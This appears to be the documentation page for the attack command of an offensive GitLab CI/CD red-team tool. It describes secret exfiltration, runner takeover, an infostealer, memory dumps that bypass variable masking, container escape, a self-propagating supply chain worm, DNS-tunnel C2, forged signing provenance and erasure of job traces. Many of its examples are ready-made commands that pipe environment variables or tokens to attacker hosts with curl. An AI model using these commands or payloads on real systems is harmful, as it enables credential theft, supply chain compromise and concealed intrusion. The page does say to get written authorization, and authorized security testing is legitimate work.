Attack Command
The attack command targets GitLab CI/CD pipelines. It can stage malicious pipelines, generate attack payloads, attempt self-hosted GitLab Runner takeover (Runner-on-Runner), and exfiltrate secrets. Use only with explicit authorization.
Warning: Offensive features are for ethical security testing only.
Basic Usage
Section titled “Basic Usage”gogatoz attack [options]- Target projects can be specified by numeric ID or path-with-namespace (e.g., group/subgroup/project).
- GoGatoZ reads auth and instance from global flags or env (GITLAB_TOKEN, GITLAB_URL).
- Commit CI to target repo:
--commit-ciwith exactly one CI source:--ci-yaml,--ci-file,--ci-stdin, or--payload. - Secrets exfiltration:
--secretscreates a pipeline that posts environment/variables to a webhook (optionally RSA-encrypts). - Payload rendering only:
--payload-onlyprints a single-job .gitlab-ci.yml to stdout without committing. - Package tamper testing:
--package-tamperstages a manual npm, PyPI, or RubyGems preview. It does not publish unless every live-publish gate is explicitly enabled. - Vault enumeration:
--vault-enumenumerates HashiCorp Vault secrets reachable from CI job identity (JWT/OIDC auth). - Kubernetes secret sweep:
--k8s-secretsdumps Kubernetes secrets from namespaces accessible to the CI runner’s service account. - Dead man’s switch:
--dead-mans-switchinstalls a scheduled pipeline or external monitor that triggers a handler if the attacker’s access is revoked. - Branch mutator:
--branch-mutatorreplicates a malicious file across all (or filtered) branches in the target project. - Sigstore provenance:
--sigstoregenerates a cosign-compatible provenance attestation for a tampered package to make it appear legitimately signed. - Memory dump:
--memory-dumpinjects a CI job that scans/proc/*/environand Runner Worker memory to extract masked CI variables, bypassing GitLab’s log masking. Results saved as artifacts. - Container escape:
--container-escapeinjects a CI job that detects privileged Docker executors and attempts escape via Docker socket, cgroup abuse, or nsenter. Enumerates host filesystem and running containers. - Supply chain worm:
--supply-chain-wormdiscovers sibling repositories in the same group and injects CI payloads into each, creating self-propagating lateral movement across the organization. - Variable injection:
--variable-injectuses the GitLab Variables API to create or modify CI/CD variables at project or group scope, affecting all downstream pipelines. - C2 channel:
--c2-channelinjects a CI job that establishes covert exfiltration via DNS tunneling (dns-a,dns-txt), ICMP encoding, or steganography (steg-wav,steg-png).
Key Options
Section titled “Key Options”Targeting and commit metadata
Section titled “Targeting and commit metadata”--targetstring: Project ID or path-with-namespace to attack.--branchstring: Branch to commit CI to (default: gogatoz-attack). Supports deconflict strategies.--messagestring: Commit message.--author-namestring: Commit author name.--author-emailstring: Commit author email.--deconflictstring: Branch naming strategy: fail|suffix|force (default: fail).
CI content sources (use one)
Section titled “CI content sources (use one)”--ci-yamlstring: Inline CI YAML.--ci-filestring: Path to CI YAML file.--ci-stdin: Read CI YAML from stdin.--payloadstring: Generate CI from a built-in payload. Values:ror-shell: Minimal shell on runner via script/command.runner-on-runner(alias:ror): Runner takeover; can keep alive.pwn-request: MR-conditioned job to exploit risky merge rules.secrets(alias:secrets-exfil): Dump env/variables to webhook.git-hook: Install git hooks on runner build dirs to capture tokens from subsequent jobs.cache-poison: Poison CI cache with malicious content (targets shared cache keys).infostealer: Expanded credential sweep (40+ paths) covering AI tools, chat/IM, VPN, K8s, Docker,gh auth token, and recursive.envfile discovery.job-token-push: Attempt an isolated marker-branch push withCI_JOB_TOKENand retain a sanitized success/denial report as an artifact.package-tamper: Create an isolated, preview-only npm, PyPI, or RubyGems mutation archive.
Common payload options
Section titled “Common payload options”--job-namestring: Job name.--stagestring: Stage name (default: attack).--tagsstring: Comma-separated runner tags to target.--imagestring: Docker image to use.--manual: Add manual rule (requires manual job start).--artifacts-pathstring: Path to upload as artifact.--artifacts-expirestring: expire_in value (e.g., 1 day).
ror-shell options
Section titled “ror-shell options”--cmdstring: Command to run (default:id; uname -a).--downloadstring: URL to curl/wget instead of running a command.
runner-on-runner options
Section titled “runner-on-runner options”--script-urlstring: Remote script URL to execute.--osstring: linux|windows|macos (default: linux).--keepaliveint: Emit heartbeats every N seconds to stay alive.- Discovery helpers:
--discover-tags: List runner tags available to the project and exit.--executorstring: Filter discovered tags by executor hint (docker|shell|kubernetes).
pwn-request options
Section titled “pwn-request options”--target-branch-regexstring: Regex for target branch condition in MR context.
secrets exfil options
Section titled “secrets exfil options”--webhookstring: Webhook URL to POST exfil data (payload mode).--pubkey-filestring: Path to RSA public key to encrypt payload output.- Also available when using
--secrets(JSON output controls):--project-vars: Include project variables in output.--group-vars: Include group variables in output.--group-idstring: Group ID or full path when listing group variables.--include-protected: Include protected variables.
git-hook options
Section titled “git-hook options”--hook-typestring: Hook type: post-checkout, post-merge, pre-push (default: post-checkout).--webhookstring: Callback URL to POST captured env data to.
cache-poison options
Section titled “cache-poison options”--cache-keystring: Cache key to target (default: default).--cache-pathstring: Cache path to poison (default: .).--poison-cmdstring: Command to run for cache poisoning.
Package tamper options
Section titled “Package tamper options”--package-tamper: Commit a manual package-tamper job. Its default mode is preview-only.--tamper-ecosystemstring:npm,pypi, orrubygems(default:npm).--tamper-triggerstring:preinstall,postinstall, orimport. Lifecycle triggers are npm-only.--tamper-entry-filestring: Canonical relative target file required by animporttrigger.--tamper-inject-scriptstring: Code or lifecycle command to inject. The default is an inert console marker.--tamper-package-namestring: Exact authorized package identity; required for live publishing.--tamper-registrystring: Explicit registry URL; required for live publishing. HTTPS is required except for loopback.--tamper-live-publish: Include package build/publish commands after all authorization checks.--tamper-publish-authorizationstring: Must exactly equalpublish:<ecosystem>:<package>.--tamper-allow-public-registry: Additional opt-in required for npmjs, PyPI, or RubyGems.
--npm-tamper, --npm-registry, --npm-package, and
--npm-inject-script remain as compatibility aliases. They no longer discover
writable packages, harvest tokens, execute an injected hook, or publish by
default.
Preview the generated job before committing anything:
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem npm \ --tamper-trigger postinstall \ --tamper-inject-script 'node synthetic-marker.js' \ > package-tamper-preview.yml
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem pypi \ --tamper-trigger import \ --tamper-entry-file src/acme_fixture/__init__.py
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem rubygems \ --tamper-trigger import \ --tamper-entry-file lib/acme_fixture.rbEvery generated job is manual. Preview mode copies the checkout into a
temporary directory, rejects symlink entry files, writes the modified copy to
package-tamper-preview.tar.gz, and never invokes a package manager or runs the
injected code. The original checkout remains unchanged.
Live publishing is intentionally difficult to enable. Use it only on a package and registry named in written authorization:
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem npm \ --tamper-trigger postinstall \ --tamper-package-name acme-owned-fixture \ --tamper-registry https://packages.example.test/npm \ --tamper-live-publish \ --tamper-publish-authorization publish:npm:acme-owned-fixture \ > authorized-live-publish.ymlThe rendered job still refuses to publish until a protected, masked CI variable
named GOGATOZ_PACKAGE_TAMPER_APPROVED contains the same
publish:npm:acme-owned-fixture phrase and a human starts the manual job. It
also verifies the static package metadata name before reaching a publish
command. Public registries require --tamper-allow-public-registry in addition
to both authorization gates.
PyPI live mode runs the project’s configured build backend, and RubyGems live mode evaluates its gemspec. Supply a reviewed, purpose-built runner image with the build and upload tools already installed; the generated job never installs them. Do not run live mode against unreviewed source.
vault-enum options
Section titled “vault-enum options”--vault-addrstring: HashiCorp Vault address (default:$VAULT_ADDRfrom CI environment).--vault-auth-methodstring: Vault auth method:jwtoroidc(default: jwt).
k8s-secrets options
Section titled “k8s-secrets options”--k8s-namespacesstring: Comma-separated Kubernetes namespaces to sweep (default: all accessible namespaces).
dead-mans-switch options
Section titled “dead-mans-switch options”--dms-monitor-urlstring: URL the dead man’s switch pings to confirm attacker presence (required).--dms-intervalstring: Check interval (default: 1h). Accepts Go duration syntax (e.g., 30m, 2h).--dms-ttlstring: Time-to-live before the handler fires if the monitor URL stops responding (default: 24h).--dms-handlerstring: Shell command or payload to execute when the switch triggers.--dms-platformstring: Where to install the switch:scheduled-pipelineorexternal-cron(default: scheduled-pipeline).
branch-mutator options
Section titled “branch-mutator options”--mutator-filestring: File path to create or overwrite in each branch (required).--mutator-contentstring: Content for the mutated file. Use--ci-fileto read from disk instead.--mutator-max-branchesint: Maximum number of branches to mutate (default: 0 = all branches).
sigstore options
Section titled “sigstore options”--sigstore-packagestring: Package name or OCI reference to generate provenance for (required).--sigstore-versionstring: Package version to attest (required).
Infostealer enhancements
Section titled “Infostealer enhancements”The infostealer payload type performs an expanded credential sweep across 40+ common credential paths on the runner filesystem, including:
- AI tools:
.openai,.anthropic, Copilot tokens,.config/github-copilot - Chat / IM: Slack tokens, Discord tokens, Teams webhooks
- VPN: OpenVPN configs, WireGuard keys
- Kubernetes:
~/.kube/config, service account tokens at/var/run/secrets/ - Docker:
~/.docker/config.json, registry auth - GitHub CLI:
gh auth tokenextraction - Environment files: Recursive
.envfile sweep across the build directory
Use --payload infostealer with --payload-only to preview or with --commit-ci to deploy.
Script injection (--inject-script)
Section titled “Script injection (--inject-script)”Modify repo scripts called by CI (workflow hopping) — harder to detect than CI config changes.
--script-pathstring: Path to script to inject into (auto-detected from CI if empty).--script-payloadstring: Shell payload to inject.--script-payload-filestring: Read payload from file.--script-prependbool: Prepend payload (default: true) or append.--trigger-pipelinebool: Trigger a pipeline after injection.
LOTP config-file injection (--lotp-inject)
Section titled “LOTP config-file injection (--lotp-inject)”Weaponize a tool’s configuration file so that the next pipeline run executes an attacker-controlled command. Based on the Living off the Pipeline (LOTP) catalog of 60+ tools that are “RCE-by-design” in CI.
--lotp-toolstring: Tool to weaponize (required):npm-gyp,npm,make,pytest,goreleaser,gradle,terraform--cmdstring: Shell command to inject (required).--trigger-pipelinebool: Trigger a pipeline on the branch after injecting.
Output JSON fields: branch, tool, files_committed, description, reference, optionally pipeline_url.
Available LOTP tools:
| Tool | Files committed | Trigger |
|---|---|---|
npm-gyp / gyp |
binding.gyp + index.js |
npm install (via node-gyp, bypasses package.json hooks) |
npm |
package.json |
npm install (postinstall hook) |
make |
Makefile |
make ($(shell) expansion at parse time) |
pytest |
conftest.py |
pytest (auto-imported at collection) |
goreleaser |
.goreleaser.yml |
goreleaser release/build/check (before hooks) |
gradle |
build.gradle |
gradle/./gradlew (Groovy config-time exec) |
terraform |
main.tf |
terraform plan/apply (null_resource local-exec) |
Payload-only rendering (no credentials needed):
gogatoz attack --payload-only --payload lotp-gyp --cmd 'id'gogatoz attack --payload-only --payload lotp-make --cmd 'printenv | curl -sd @- https://callback.url'Output is JSON with tool, files[] (path + content), description, reference.
Example — Phantom Gyp attack:
# Generate and inspect the payload (no token needed)gogatoz attack --payload-only --payload lotp-gyp \ --cmd 'printenv | curl -sd @- https://callback.example.com' | jq .
# Inject into target project (Developer access required)gogatoz attack --target group/nodejs-project \ --lotp-inject --lotp-tool npm-gyp \ --cmd 'printenv | curl -sd @- https://callback.example.com' \ --branch lotp-attack --deconflict suffix --jsonThe Phantom Gyp technique (StepSecurity research): Places binding.gyp + index.js in the repo. When npm install runs, npm auto-invokes node-gyp rebuild. The gyp <!(node index.js) command substitution executes the payload. No preinstall/postinstall appears in package.json — bypassing the most common npm hook monitors. The command is base64-encoded in index.js to evade string matching.
Auto-merge (--auto-merge)
Section titled “Auto-merge (--auto-merge)”Create MR, self-approve, and merge to default branch (supply chain attack).
--auto-merge-filestring: File path to modify (default: .gitlab-ci.yml).- Uses
--ci-yaml,--ci-file,--ci-stdin, or--payloadfor content. - Uses
--mr-title,--mr-description,--mr-target-branchfor MR creation.
Token harvest (--harvest)
Section titled “Token harvest (--harvest)”Install git hooks on runner then wait for callbacks to harvest tokens.
--webhookstring: External URL reachable from CI runners (required).--harvest-listenstring: Listen address for callback server (default: :9443).--harvest-timeoutstring: How long to wait for callbacks (default: 30m).
Release tampering (--tamper-release)
Section titled “Release tampering (--tamper-release)”Modify GitLab release metadata and asset links (supply chain attack).
--tag-namestring: Release tag name (required).--release-namestring: New release name.--release-descriptionstring: New release description.--link-namestring: Release link name to replace.--link-urlstring: New URL for the replaced link.--add-link-namestring: Name of new link to add.--add-link-urlstring: URL of new link to add.
Package tampering (--tamper-package)
Section titled “Package tampering (--tamper-package)”Upload a malicious package to the Generic Packages registry.
--package-namestring: Package name (required).--package-versionstring: Package version (required).--package-filestring: Local file to upload (required).
Memory dump (--memory-dump)
Section titled “Memory dump (--memory-dump)”Inject a CI job that bypasses GitLab’s masked variable protection by reading process memory directly.
--memory-dump: Enable memory dump mode.--memory-dump-procstring: Specific/proc/<pid>to dump (auto-detect if empty).--memory-dump-filterstring: Regex to filter variables (default:.*SECRET|.*TOKEN|.*KEY).
The payload scans /proc/*/environ of all running processes, reads Runner Worker memory via /proc/<pid>/mem, extracts token patterns (glpat-, ghp_, AKIA, sk-, xoxb-), sweeps credential files, and saves results as artifacts (memdump_env.txt, memdump_tokens.txt, memdump_bundle.tgz, memdump_report.json).
Container escape (--container-escape)
Section titled “Container escape (--container-escape)”Exploit privileged Docker executors to escape to the host system.
--container-escape: Enable container escape mode.--escape-methodstring: Escape technique:sshd|docker|kernel|nsenter(default:docker).--escape-commandstring: Command to execute on host (default:bash).--escape-mount-pathstring: Host path to mount (default:/).
The payload detects Docker sockets, privileged cgroups, and host mount points, then attempts escape via the available vector. Results saved as artifacts (escape_bundle.tgz, escape_host_output.txt).
Supply chain worm (--supply-chain-worm)
Section titled “Supply chain worm (--supply-chain-worm)”Self-propagating CI injection across sibling repositories in a GitLab group.
--supply-chain-worm: Enable worm mode.--worm-target-groupstring: Group ID or path to scope propagation.--worm-max-reposint: Max sibling repos to propagate to (default: 5).--worm-payloadstring: Shell payload to inject into sibling repos.
The worm discovers sibling projects in the target group via the GitLab API, creates branches, and injects CI configs. Each infected project produces its own pipeline, enabling recursive propagation.
Variable injection (--variable-inject)
Section titled “Variable injection (--variable-inject)”Inject malicious CI/CD variables at project or group scope via the GitLab Variables API.
--variable-inject: Enable variable injection mode.--inject-varsstring: JSON array of key/value pairs:'[{"key":"K","value":"V"}]'(required).--inject-scopestring: Scope:project|group(default:project).--inject-group-idstring: Group ID for group-scope injection.--inject-protected: Set as protected variable.--inject-masked: Set as masked variable.
C2 channel (--c2-channel)
Section titled “C2 channel (--c2-channel)”Establish a covert command-and-control channel for data exfiltration.
--c2-channel: Enable C2 channel mode.--c2-methodstring: Channel type:dns-a|dns-txt|steg-wav|steg-png|icmp(default:dns-a).--c2-targetstring: Domain for DNS tunnel, URL for other methods (required).--c2-callback-urlstring: Primary C2 callback URL.--c2-keepalive: Keep C2 channel alive with heartbeats.
The DNS methods encode environment data into subdomain queries (<seq>.<chunk>.tun.<domain>). Steganographic methods embed data in WAV/PNG artifacts uploaded via the GitLab Packages API.
Persistence modes
Section titled “Persistence modes”--deploy-key: Create a deploy key with write access on the target project.--key-titlestring: Title for the deploy key.--key-pathstring: Path to save the generated private key.--add-member: Add a user as project member.--member-usernamestring: Username to add as project member.--member-rolestring: Access level: guest|reporter|developer|maintainer (default: developer).
See Persistence Command for detailed usage.
Cleanup helpers
Section titled “Cleanup helpers”--cleanup: Enable cleanup mode (no attack is executed).--cleanup-branchstring: Delete a branch in the target project.--cleanup-ci: Remove .gitlab-ci.yml from the target branch.--revoke-deploy-keyint: Revoke deploy key by ID.--remove-member-idint: Remove member by user ID.--cleanup-pipelineint: Delete a specific pipeline by ID.--cleanup-jobsbool: Erase job traces on recent pipelines.--cleanup-jobs-refstring: Limit erasure to pipelines on this ref.--cleanup-jobs-maxint: Max recent pipelines to erase (default: 5).--cleanup-jobs-deletebool: Also delete pipelines after erasing traces.
Examples
Section titled “Examples”1) Discover runner tags
Section titled “1) Discover runner tags”gogatoz attack --target group/proj --discover-tags2) Generate a Runner-on-Runner payload only
Section titled “2) Generate a Runner-on-Runner payload only”gogatoz attack --payload runner-on-runner \ --script-url https://attacker.example/p.sh --os linux --keepalive 30 \ --job-name ror --stage attack --tags docker,priv3) Commit a Runner-on-Runner payload to a staging branch
Section titled “3) Commit a Runner-on-Runner payload to a staging branch”gogatoz attack --commit-ci --target group/proj \ --payload ror --script-url https://attacker/p.sh --tags shell \ --branch gogatoz-attack --deconflict suffix --message "stage RoR payload"4) Secrets exfiltration with RSA
Section titled “4) Secrets exfiltration with RSA”# Render payload onlygogatoz attack --payload secrets --webhook https://webhook.site/abc --pubkey-file pub.pem --payload-only
# Or commit directlygogatoz attack --secrets --target group/proj --tags docker --pubkey-file pub.pem5) Pwn Request (condition on target branch)
Section titled “5) Pwn Request (condition on target branch)”gogatoz attack --commit-ci --target group/proj \ --payload pwn-request --target-branch-regex '^release/.*$' \ --message "pwn request: release branch side effects"6) Cleanup artifacts
Section titled “6) Cleanup artifacts”gogatoz attack --target group/proj --cleanup --cleanup-branch gogatoz-attack7) Script injection (workflow hopping)
Section titled “7) Script injection (workflow hopping)”gogatoz attack --inject-script --target group/proj \ --script-payload 'curl -sS -d "$(printenv|base64 -w0)" http://attacker/cb' \ --branch gogatoz-attack --deconflict suffix8) Auto-merge supply chain attack
Section titled “8) Auto-merge supply chain attack”gogatoz attack --auto-merge --target group/proj \ --ci-yaml 'stages:\n - pwn\npwn:\n stage: pwn\n script: [printenv]\n tags: [shell]' \ --mr-title "Fix CI configuration"9) Token harvest mode
Section titled “9) Token harvest mode”gogatoz attack --harvest --target group/proj \ --webhook https://attacker.example/callback --tags shell \ --harvest-timeout 10m10) Release tampering
Section titled “10) Release tampering”gogatoz attack --tamper-release --target group/proj \ --tag-name v1.2.0 --add-link-name "Binary (linux-amd64)" \ --add-link-url "https://attacker.example/malicious-binary"11) Cache poisoning payload
Section titled “11) Cache poisoning payload”gogatoz attack --commit-ci --target group/proj \ --payload cache-poison --cache-key shared-deps \ --poison-cmd 'echo "malicious" > node_modules/package.json' --tags shell12) Anti-forensics cleanup
Section titled “12) Anti-forensics cleanup”gogatoz attack --target group/proj --cleanup --cleanup-jobs \ --cleanup-jobs-ref gogatoz-attack --cleanup-jobs-max 313) Package tamper preview
Section titled “13) Package tamper preview”gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem npm --tamper-trigger postinstall \ --tamper-inject-script 'node synthetic-marker.js'14) Vault secret enumeration
Section titled “14) Vault secret enumeration”gogatoz attack --vault-enum --target group/proj \ --vault-addr https://vault.internal:8200 --vault-auth-method jwt \ --tags shell15) Kubernetes secret sweep
Section titled “15) Kubernetes secret sweep”gogatoz attack --k8s-secrets --target group/proj \ --k8s-namespaces default,production,staging \ --tags kubernetes --webhook https://attacker.example/k8s16) Dead man’s switch persistence
Section titled “16) Dead man’s switch persistence”gogatoz attack --dead-mans-switch --target group/proj \ --dms-monitor-url https://attacker.example/heartbeat \ --dms-interval 30m --dms-ttl 12h \ --dms-handler 'curl -sd "$(printenv)" https://attacker.example/dms-fired' \ --dms-platform scheduled-pipeline17) Branch mutator (spread across branches)
Section titled “17) Branch mutator (spread across branches)”gogatoz attack --branch-mutator --target group/proj \ --mutator-file .github/workflows/lint.yml \ --mutator-content 'run: curl -sd "$GITHUB_TOKEN" https://attacker.example/cb' \ --mutator-max-branches 1018) Sigstore provenance forgery
Section titled “18) Sigstore provenance forgery”gogatoz attack --sigstore --target group/proj \ --sigstore-package ghcr.io/org/app --sigstore-version v1.2.3 \ --tags shell --branch gogatoz-attack --deconflict suffix19) Memory dump (bypass masked variables)
Section titled “19) Memory dump (bypass masked variables)”gogatoz attack --memory-dump --target group/proj \ --tags shell_executor --deconflict suffix20) Container escape
Section titled “20) Container escape”gogatoz attack --container-escape --target group/proj \ --tags docker --escape-method docker \ --escape-command 'id; cat /etc/shadow; printenv | sort'21) Supply chain worm propagation
Section titled “21) Supply chain worm propagation”gogatoz attack --supply-chain-worm --target group/proj \ --worm-target-group my-org --worm-max-repos 5 \ --worm-payload 'printenv | sort' --branch gogatoz-worm22) Variable injection
Section titled “22) Variable injection”gogatoz attack --variable-inject --target group/proj \ --inject-vars '[{"key":"NPM_TOKEN","value":"attacker-controlled"}]' \ --inject-scope project23) C2 channel (DNS tunnel)
Section titled “23) C2 channel (DNS tunnel)”gogatoz attack --c2-channel --target group/proj \ --c2-method dns-a --c2-target exfil.attacker.com \ --tags shell_executor --deconflict suffixSecurity Considerations
Section titled “Security Considerations”- Obtain written authorization before testing.
- Avoid production disruption; prefer test projects.
- Keep package tamper tests in preview mode unless the exact package and registry are explicitly authorized.
- Never use a real known-malicious third-party package as a fixture.
- Review and remove artifacts (branches, CI YAML, keys, users) after testing.
Authentication and Scopes
Section titled “Authentication and Scopes”Use GitLab Personal Access Tokens with scopes: api, read_repository, write_repository. Set via --token or env GITLAB_TOKEN. Instance can be set via --gitlab-url or env GITLAB_URL.